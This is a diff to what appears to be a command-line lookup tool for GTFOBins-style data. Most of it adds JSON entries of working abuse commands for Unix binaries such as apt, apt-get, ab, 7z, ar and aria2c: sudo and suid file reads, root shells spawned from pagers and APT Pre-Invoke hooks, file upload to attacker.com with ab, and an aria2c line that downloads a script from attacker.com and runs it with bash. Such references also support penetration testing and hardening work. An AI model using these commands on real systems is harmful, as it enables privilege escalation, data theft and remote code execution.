print(info.safe_substitute(text=f"{label} ({len(binaries)}):"))
|
|
210
|
+
print()
|
|
211
|
+
print_binary_list(binaries)
|
|
212
|
+
else:
|
|
213
|
+
print(fail.safe_substitute(text=f"No binaries with '{args.exploit_type}'"))
|
|
214
|
+
return
|
|
215
|
+
|
|
216
|
+
if args.search:
|
|
217
|
+
pool = get_binaries_with_type(args.exploit_type) if args.exploit_type else get_all_binaries()
|
|
218
|
+
matches = fuzzy_match(args.search, pool)
|
|
219
|
+
if matches:
|
|
220
|
+
if args.exploit_type:
|
|
221
|
+
label = f"Search '{args.search}' in '{args.exploit_type}'"
|
|
222
|
+
else:
|
|
223
|
+
label = f"Search results for '{args.search}'"
|
|
224
|
+
print(info.safe_substitute(text=f"{label} ({len(matches)} matches):"))
|
|
225
|
+
print()
|
|
226
|
+
print_binary_list(matches)
|
|
227
|
+
else:
|
|
228
|
+
if args.exploit_type:
|
|
229
|
+
print(fail.safe_substitute(text=f"No '{args.exploit_type}' binaries matching '{args.search}'"))
|
|
230
|
+
else:
|
|
231
|
+
print(fail.safe_substitute(text=f"No binaries matching '{args.search}'"))
|
|
232
|
+
return
|
|
233
|
+
|
|
234
|
+
if args.exploit_type and not args.binary:
|
|
235
|
+
binaries = get_binaries_with_type(args.exploit_type)
|
|
236
|
+
if binaries:
|
|
237
|
+
print(info.safe_substitute(text=f"Binaries with '{args.exploit_type}' ({len(binaries)}):"))
|
|
238
|
+
print()
|
|
239
|
+
print_binary_list(binaries)
|
|
240
|
+
else:
|
|
241
|
+
print(fail.safe_substitute(text=f"No binaries with '{args.exploit_type}'"))
|
|
242
|
+
return
|
|
243
|
+
|
|
244
|
+
binary = args.binary
|
|
245
|
+
|
|
246
|
+
if not binary:
|
|
247
|
+
print(fail.safe_substitute(text="No binary specified. Use -h for help."))
|
|
248
|
+
return
|
|
249
|
+
|
|
250
|
+
filter_type = args.exploit_type if args else None
|
|
251
|
+
display_binary(binary, filter_type)
|
|
80
252
|
|
|
81
253
|
|
|
82
254
|
def main():
|
gtfo/data/7z.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\n7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\nsudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/aa-exec.json
ADDED
gtfo/data/ab.json
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-upload": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Upload local file via HTTP POST request.",
|
|
6
|
+
"code": "URL=http://attacker.com/\nLFILE=file_to_send\nab -p $LFILE $URL\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-download": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Fetch a remote file via HTTP GET request. The response is returned as part of the verbose output of the program with some limitations on the length.",
|
|
12
|
+
"code": "URL=http://attacker.com/file_to_download\nab -v2 $URL\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"suid": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Upload local file via HTTP POST request.",
|
|
18
|
+
"code": "sudo install -m =xs $(which ab) .\nURL=http://attacker.com/\nLFILE=file_to_send\n./ab -p $LFILE $URL\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"sudo": [
|
|
22
|
+
{
|
|
23
|
+
"description": "Upload local file via HTTP POST request.",
|
|
24
|
+
"code": "URL=http://attacker.com/\nLFILE=file_to_send\nsudo ab -p $LFILE $URL\n"
|
|
25
|
+
}
|
|
26
|
+
]
|
|
27
|
+
}
|
|
28
|
+
}
|
gtfo/data/acr.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"suid": [
|
|
4
|
+
{
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "sudo install acr $(which acr) .\ntouch Makefile && chmod +x Makefile\necho DATA > Makefile\n./acr -r Makefile\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "",
|
|
12
|
+
"code": "sudo install acr $(which acr) .\ntouch Makefile && chmod +x Makefile\necho DATA > Makefile\nsudo acr -r Makefile\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/agetty.json
ADDED
gtfo/data/alpine.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nalpine -F \"$LFILE\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./alpine -F \"$LFILE\"\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo alpine -F \"$LFILE\"\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF\nansible-playbook $TF\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF\nsudo ansible-playbook $TF\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/aoss.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "apport-cli -f\n\n*** What kind of problem do you want to report?\n<SNIP>\nPlease choose (1/2/3/4/5/6/7/8/9/10/C): 1\n\n*** Collecting problem information\n<SNIP>\n\n*** What display problem do you observe?\n<SNIP>\n\nPlease choose (1/2/3/4/5/6/7/8/C): 2\n<SNIP>\n\n*** Send problem report to the developers?\n<SNIP>\nWhat would you like to do? Your options are:\n <SNIP>\n V: View report\n <SNIP>\nPlease choose (S/V/K/I/C): V\n\n<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"description": "",
|
|
12
|
+
"code": "apport-cli -f\n\n*** What kind of problem do you want to report?\n<SNIP>\nPlease choose (1/2/3/4/5/6/7/8/9/10/C): 1\n\n*** Collecting problem information\n<SNIP>\n\n*** What display problem do you observe?\n<SNIP>\n\nPlease choose (1/2/3/4/5/6/7/8/C): 2\n<SNIP>\n\n*** Send problem report to the developers?\n<SNIP>\nWhat would you like to do? Your options are:\n <SNIP>\n V: View report\n <SNIP>\nPlease choose (S/V/K/I/C): V\n\n<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
"description": "",
|
|
18
|
+
"code": "sudo apport-cli -f\n\n*** What kind of problem do you want to report?\n<SNIP>\nPlease choose (1/2/3/4/5/6/7/8/9/10/C): 1\n\n*** Collecting problem information\n<SNIP>\n\n*** What display problem do you observe?\n<SNIP>\n\nPlease choose (1/2/3/4/5/6/7/8/C): 2\n<SNIP>\n\n*** Send problem report to the developers?\n<SNIP>\nWhat would you like to do? Your options are:\n <SNIP>\n V: View report\n <SNIP>\nPlease choose (S/V/K/I/C): V\n\n<AT THIS POINT, DEFAULT CLI TEXT EDITOR IS OPENED. FROM HERE, SHELL ESCAPE AND/OR PRIVIEDGED R/W DEPENDS UPON THE EDITOR>\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/apt-get.json
CHANGED
|
@@ -2,23 +2,23 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
"description": "This invokes the default pager, which is likely to be
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
6
6
|
"code": "apt-get changelog apt\n!/bin/sh\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"sudo": [
|
|
10
10
|
{
|
|
11
|
-
"description": "This invokes the default pager, which is likely to be
|
|
11
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
12
12
|
"code": "sudo apt-get changelog apt\n!/bin/sh\n"
|
|
13
13
|
},
|
|
14
14
|
{
|
|
15
|
-
"description": "For this to work the target package (e.g.,
|
|
15
|
+
"description": "For this to work the target package (e.g., `sl`) must not be installed.",
|
|
16
16
|
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n"
|
|
17
17
|
},
|
|
18
18
|
{
|
|
19
|
-
"description": "When the shell exits the
|
|
20
|
-
"code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh"
|
|
19
|
+
"description": "When the shell exits the `update` command is actually executed.",
|
|
20
|
+
"code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh\n"
|
|
21
21
|
}
|
|
22
22
|
]
|
|
23
23
|
}
|
|
24
|
-
}
|
|
24
|
+
}
|
gtfo/data/apt.json
CHANGED
|
@@ -2,23 +2,23 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
"description": "This invokes the default pager, which is likely to be
|
|
6
|
-
"code": "apt
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
6
|
+
"code": "apt changelog apt\n!/bin/sh\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"sudo": [
|
|
10
10
|
{
|
|
11
|
-
"description": "This invokes the default pager, which is likely to be
|
|
12
|
-
"code": "sudo apt
|
|
11
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
12
|
+
"code": "sudo apt changelog apt\n!/bin/sh\n"
|
|
13
13
|
},
|
|
14
14
|
{
|
|
15
|
-
"description": "For this to work the target package (e.g.,
|
|
15
|
+
"description": "For this to work the target package (e.g., `sl`) must not be installed.",
|
|
16
16
|
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n"
|
|
17
17
|
},
|
|
18
18
|
{
|
|
19
|
-
"description": "When the shell exits the
|
|
20
|
-
"code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh"
|
|
19
|
+
"description": "When the shell exits the `update` command is actually executed.",
|
|
20
|
+
"code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh\n"
|
|
21
21
|
}
|
|
22
22
|
]
|
|
23
23
|
}
|
|
24
|
-
}
|
|
24
|
+
}
|
gtfo/data/aptitude.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
6
|
+
"code": "aptitude changelog aptitude\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
12
|
+
"code": "sudo aptitude changelog aptitude\n!/bin/sh\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/ar.json
CHANGED
|
@@ -1,19 +1,21 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The file appears amid the binary content of the archive.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "TF=$(mktemp -u)\nLFILE=file_to_read\nar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "TF=$(mktemp -u)\nLFILE=file_to_read\n./ar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "TF=$(mktemp -u)\nLFILE=file_to_read\nsudo ar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
gtfo/data/aria2c.json
CHANGED
|
@@ -3,21 +3,33 @@
|
|
|
3
3
|
"functions": {
|
|
4
4
|
"command": [
|
|
5
5
|
{
|
|
6
|
-
"code": "
|
|
6
|
+
"code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\naria2c --on-download-error=$TF http://x"
|
|
7
7
|
},
|
|
8
8
|
{
|
|
9
|
-
"description": "The remote file
|
|
10
|
-
"code": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash
|
|
9
|
+
"description": "The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.",
|
|
10
|
+
"code": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-download": [
|
|
14
|
+
{
|
|
15
|
+
"description": "Fetch a remote file via HTTP GET request. Use `--allow-overwrite` if needed.",
|
|
16
|
+
"code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\naria2c -o \"$LFILE\" \"$URL\""
|
|
11
17
|
}
|
|
12
18
|
],
|
|
13
19
|
"sudo": [
|
|
14
20
|
{
|
|
15
|
-
"code": "
|
|
21
|
+
"code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"suid": [
|
|
25
|
+
{
|
|
26
|
+
"description": "It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.",
|
|
27
|
+
"code": "LFILE='/etc/passwd'\naria2c -i $LFILE"
|
|
16
28
|
}
|
|
17
29
|
],
|
|
18
30
|
"limited-suid": [
|
|
19
31
|
{
|
|
20
|
-
"code": "
|
|
32
|
+
"code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x"
|
|
21
33
|
}
|
|
22
34
|
]
|
|
23
35
|
}
|